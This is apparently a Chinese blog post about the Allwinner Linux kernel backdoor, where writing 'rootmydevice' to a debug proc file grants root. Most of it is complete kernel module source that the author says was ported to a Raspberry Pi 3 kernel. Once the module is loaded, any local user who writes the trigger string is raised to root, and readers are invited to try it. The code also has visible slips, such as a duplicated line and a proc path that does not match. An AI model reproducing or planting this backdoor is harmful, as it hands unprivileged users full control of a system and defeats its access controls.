最近全志开发人员在其kernel中留下后门一事闹得沸沸扬扬。还不知道的同学请参看
据外媒 arstechnica 报道,一家中国的芯片级系统厂商全志(allwinner) 在其开发的产品中携带的内核里遗留了一个 root 后门。全志的处理器芯片用在很多低端的 Android 平板、机顶盒、基于 ARM 的 PC 等等之上。而这个后门非常容易获得,只需要给一个未见于文档的调试进程发送一个字符串“rootmydevice” 即可获取该设备的 root 权限。
该后门可能是开发人员调试后忘记移除的。全志公司在知道此消息后,已经从其公司的 Github 账户上删除了相关文件。
该公司使用的内核 linux-3.4-sunxi,原先用于支持全志的 ARM 芯片平板上的 Android,它也有一个社区版本。该内核也用来移植到各种全志芯片的设备上,包括桔子派Orange Pi、香蕉派Banana Pi等与树莓派Raspberry Pi兼容的开发板。
通过写入rootmydevice到/proc/sunxi-debug/sunxi-debug,一个普通用户就能拥有root的权限。实际作用代码片段如下:
cred->uid = GLOBAL_ROOT_UID;
cred->gid = GLOBAL_ROOT_GID;
cred->suid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->egid = GLOBAL_ROOT_GID;
cred->fsuid = GLOBAL_ROOT_UID;
cred->fsgid = GLOBAL_ROOT_GID;
本人将全志的这个后门移植到了raspberry pi 3的4.6内核,试了一下,确实好用。有兴趣的同学可以玩玩。下面是我修改过的代码。将其编译成模块,使用root插入这个模块后,任意一个用户执行如下命令,就会拥有root权限了。
echo “rootmydevice” > /proc/sunxi-debug/sunxi-debug
当这个模块被移除,拥有root权限的普通用户恢复原来的权限。
/*
* Sunxi_debug.c
*
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry * proc_su;
static struct cred *cred_back;
static struct task_struct *task;
static ssize_t sunxi_proc_su_write(struct file *file, const char __user *buffer,
size_t count, loff_t *data)
{
char *buf;
struct cred *cred;
if (count < 1)
return -EINVAL;
buf = kmalloc(count, GFP_KERNEL);
if (!buf)
return -ENOMEM;
if (copy_from_user(buf, buffer, count)) {
kfree(buf);
return -EFAULT;
}
if(!strncmp("rootmydevice",(char*)buf,12)){
task = current;
cred = (struct cred *)__task_cred(task);
memcpy(cred_back, cred, sizeof(struct cred));
cred->uid = GLOBAL_ROOT_UID;
cred->gid = GLOBAL_ROOT_GID;
cred->suid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->egid = GLOBAL_ROOT_GID;
cred->fsuid = GLOBAL_ROOT_UID;
cred->fsgid = GLOBAL_ROOT_GID;
printk("now you are root\n");
}
kfree(buf);
return count;
}
ssize_t sunxi_proc_su_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
printk("sunxi debug: rootmydevice\n");
return 0;
}
static int sunxi_proc_su_open(struct inode *inode, struct file *file)
{
return 0;
}
static const struct file_operations proc_fops = {
.open= sunxi_proc_su_open,
.read= sunxi_proc_su_read,
.write = sunxi_proc_su_write,
};
static int sunxi_root_procfs_attach(void)
{
proc_root = proc_mkdir("sunxi_debug", NULL);
proc_su= proc_create("sunxi_debug", 0666, proc_root, &proc_fops);
if (IS_ERR(proc_su)){
printk("create sunxi_debug dir error\n");
return -1;
}
return 0;
}
static int __init sunxi_debug_init(void)
{
int ret;
cred_back = kmalloc(sizeof(struct cred), GFP_KERNEL);
if (IS_ERR(cred_back))
return PTR_ERR(cred_back);
ret = sunxi_root_procfs_attach();
printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
if(ret){
printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
}
return 0;
}
static void __exit sunxi_debug_exit(void)
{
struct cred *cred = (struct cred *)__task_cred(task);
memcpy(cred, cred_back, sizeof(struct cred));
kfree(cred_back);
remove_proc_entry("sunxi_debug", proc_root);
remove_proc_entry("sunxi_debug", NULL);
}
module_init(sunxi_debug_init);
module_exit(sunxi_debug_exit);
MODULE_LICENSE("GPL");
————————————————
版权声明:本文为CSDN博主「NewbieRock」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/github_34308866/article/details/51425308